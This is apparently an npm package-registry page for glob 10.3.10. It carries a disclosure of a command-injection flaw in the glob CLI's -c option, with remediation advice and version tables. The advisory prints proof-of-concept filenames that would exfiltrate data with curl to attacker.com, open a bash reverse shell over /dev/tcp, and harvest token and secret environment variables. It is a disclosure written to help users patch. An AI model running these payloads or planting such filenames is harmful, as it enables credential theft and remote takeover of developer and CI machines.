NodeJS/glob/10.3.10


the most correct and second fastest glob implementation in JavaScript

https://www.npmjs.com/package/glob
ISC

1 Security Vulnerabilities

glob CLI: Command injection via -c/--cmd executes matches with shell:true

Published date: 2025-11-17T17:38:56Z
CVE: CVE-2025-64756
Links:

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow: 1. User runs glob -c <command> <pattern> 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using shell: true 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands

Affected Component: - CLI Only: The vulnerability affects only the command-line interface - Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface: - Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File: ```bash mkdir testdirectory && cd testdirectory

Create file with command injection payload in filename

touch '$(touch injected_poc)' ```

Trigger Vulnerability: ```bash

Run glob CLI with -c option

node /path/to/glob/dist/esm/bin.mjs -c echo **/* ```

Result: - The echo command executes normally - Additionally: The $(touch injected_poc) in the filename is evaluated by the shell - A new file injected_poc is created, proving command execution - Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration: ```bash

Filename: $(curl -X POST https://attacker.com/exfil -d $(whoami):$(pwd) > /dev/null 2>&1)

touch '$(curl -X POST https://attacker.com/exfil -d $(whoami):$(pwd) > /dev/null 2>&1)' ```

Reverse Shell: ```bash

Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)

touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ```

Environment Variable Harvesting: ```bash

Filename: $(env | grep -E (TOKEN|KEY|SECRET) > /tmp/secrets.txt)

touch '$(env | grep -E (TOKEN|KEY|SECRET) > /tmp/secrets.txt)' ```

Impact

Arbitrary Command Execution: - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise: - Malicious PR adds files with crafted names to repository - CI pipeline uses glob -c to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack: - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use glob -c for file processing - Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems: - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning: - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems

Platform-Specific Risks: - POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing - Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation: - Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe - CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Affected versions: ["10.4.5", "10.4.4", "10.4.3", "10.4.2", "10.4.1", "10.4.0", "10.3.16", "10.3.15", "10.3.14", "10.3.13", "10.3.12", "10.3.11", "10.3.10", "10.3.9", "10.3.8", "10.3.7", "10.3.6", "10.3.5", "10.3.4", "10.3.3", "10.3.2", "10.3.1", "10.3.0", "10.2.7", "10.2.6", "10.2.5", "10.2.4", "10.2.3", "10.2.2", "10.2.1", "10.2.0", "11.0.3", "11.0.2", "11.0.1", "11.0.0"]
Secure versions: [1.1.0, 10.0.0, 10.1.0, 10.5.0, 11.1.0, 12.0.0, 13.0.0, 2.0.7, 2.0.8, 2.0.9, 2.1.0, 3.0.0, 3.0.1, 3.1.0, 3.1.1, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.19, 3.1.2, 3.1.20, 3.1.21, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.9, 3.2.0, 3.2.1, 3.2.10, 3.2.11, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.1.2, 4.1.2-beta, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.3.0, 4.3.1, 4.3.2, 4.3.3, 4.3.4, 4.3.5, 4.4.0, 4.4.2, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 5.0.0, 5.0.1, 5.0.10, 5.0.11, 5.0.12, 5.0.13, 5.0.14, 5.0.15, 5.0.2, 5.0.3, 5.0.4, 5.0.5, 5.0.6, 5.0.7, 5.0.9, 6.0.1, 6.0.2, 6.0.3, 6.0.4, 7.0.0, 7.0.1, 7.0.3, 7.0.4, 7.0.5, 7.0.6, 7.1.0, 7.1.1, 7.1.2, 7.1.3, 7.1.4, 7.1.5, 7.1.6, 7.1.7, 7.2.0, 7.2.2, 7.2.3, 8.0.1, 8.0.2, 8.0.3, 8.1.0, 9.0.0, 9.0.1, 9.0.2, 9.1.0, 9.1.1, 9.1.2, 9.2.0, 9.2.1, 9.3.0, 9.3.1, 9.3.2, 9.3.3, 9.3.4, 9.3.5]
Recommendation: Update to version 13.0.0.

162 Other Versions

Version License Security Released
13.0.0 BlueOak-1.0.0 2025-11-19 - 16:04 about 1 month
12.0.0 BlueOak-1.0.0 2025-11-17 - 17:10 about 1 month
11.1.0 BlueOak-1.0.0 2025-11-17 - 17:02 about 1 month
11.0.3 ISC 1 2025-06-12 - 20:23 7 months
11.0.2 ISC 1 2025-04-23 - 16:02 8 months
11.0.1 ISC 1 2025-01-10 - 06:57 12 months
11.0.0 ISC 1 2024-07-08 - 22:16 over 1 year
10.5.0 ISC 2025-11-18 - 01:34 about 1 month
10.4.5 ISC 1 2024-07-09 - 08:15 over 1 year
10.4.4 ISC 1 2024-07-08 - 22:14 over 1 year
10.4.3 ISC 1 2024-07-06 - 04:04 over 1 year
10.4.2 ISC 1 2024-06-19 - 01:59 over 1 year
10.4.1 ISC 1 2024-05-24 - 06:01 over 1 year
10.4.0 ISC 1 2024-05-24 - 01:04 over 1 year
10.3.16 ISC 1 2024-05-21 - 19:14 over 1 year
10.3.15 ISC 1 2024-05-12 - 02:47 over 1 year
10.3.14 ISC 1 2024-05-09 - 14:52 over 1 year
10.3.13 ISC 1 2024-05-09 - 13:50 over 1 year
10.3.12 ISC 1 2024-03-28 - 16:13 over 1 year
10.3.11 ISC 1 2024-03-28 - 15:59 over 1 year
10.3.10 ISC 1 2023-09-27 - 05:59 about 2 years
10.3.9 ISC 1 2023-09-26 - 07:22 about 2 years
10.3.8 ISC 1 2023-09-26 - 06:10 about 2 years
10.3.7 ISC 1 2023-09-24 - 21:53 over 2 years
10.3.6 ISC 1 2023-09-23 - 00:52 over 2 years
10.3.5 ISC 1 2023-09-20 - 23:03 over 2 years
10.3.4 ISC 1 2023-08-30 - 22:45 over 2 years
10.3.3 ISC 1 2023-07-08 - 21:38 over 2 years
10.3.2 ISC 1 2023-07-08 - 00:18 over 2 years
10.3.1 ISC 1 2023-06-27 - 23:02 over 2 years
10.3.0 ISC 1 2023-06-21 - 19:07 over 2 years
10.2.7 ISC 1 2023-06-06 - 19:08 over 2 years
10.2.6 ISC 1 2023-05-20 - 20:55 over 2 years
10.2.5 ISC 1 2023-05-17 - 21:25 over 2 years
10.2.4 ISC 1 2023-05-15 - 04:45 over 2 years
10.2.3 ISC 1 2023-05-09 - 23:12 over 2 years
10.2.2 ISC 1 2023-04-23 - 00:34 over 2 years
10.2.1 ISC 1 2023-04-17 - 22:21 over 2 years
10.2.0 ISC 1 2023-04-17 - 22:20 over 2 years
10.1.0 ISC 2023-04-14 - 23:16 over 2 years
10.0.0 ISC 2023-04-09 - 22:26 over 2 years
9.3.5 ISC 2023-04-09 - 20:30 over 2 years
9.3.4 ISC 2023-04-02 - 03:44 over 2 years
9.3.3 ISC 2023-04-02 - 03:37 over 2 years
9.3.2 ISC 2023-03-22 - 18:49 almost 3 years
9.3.1 ISC 2023-03-21 - 00:02 almost 3 years
9.3.0 ISC 2023-03-14 - 13:03 almost 3 years
9.2.1 ISC 2023-03-03 - 00:40 almost 3 years
9.2.0 ISC 2023-03-02 - 23:04 almost 3 years
9.1.2 ISC 2023-03-01 - 19:07 almost 3 years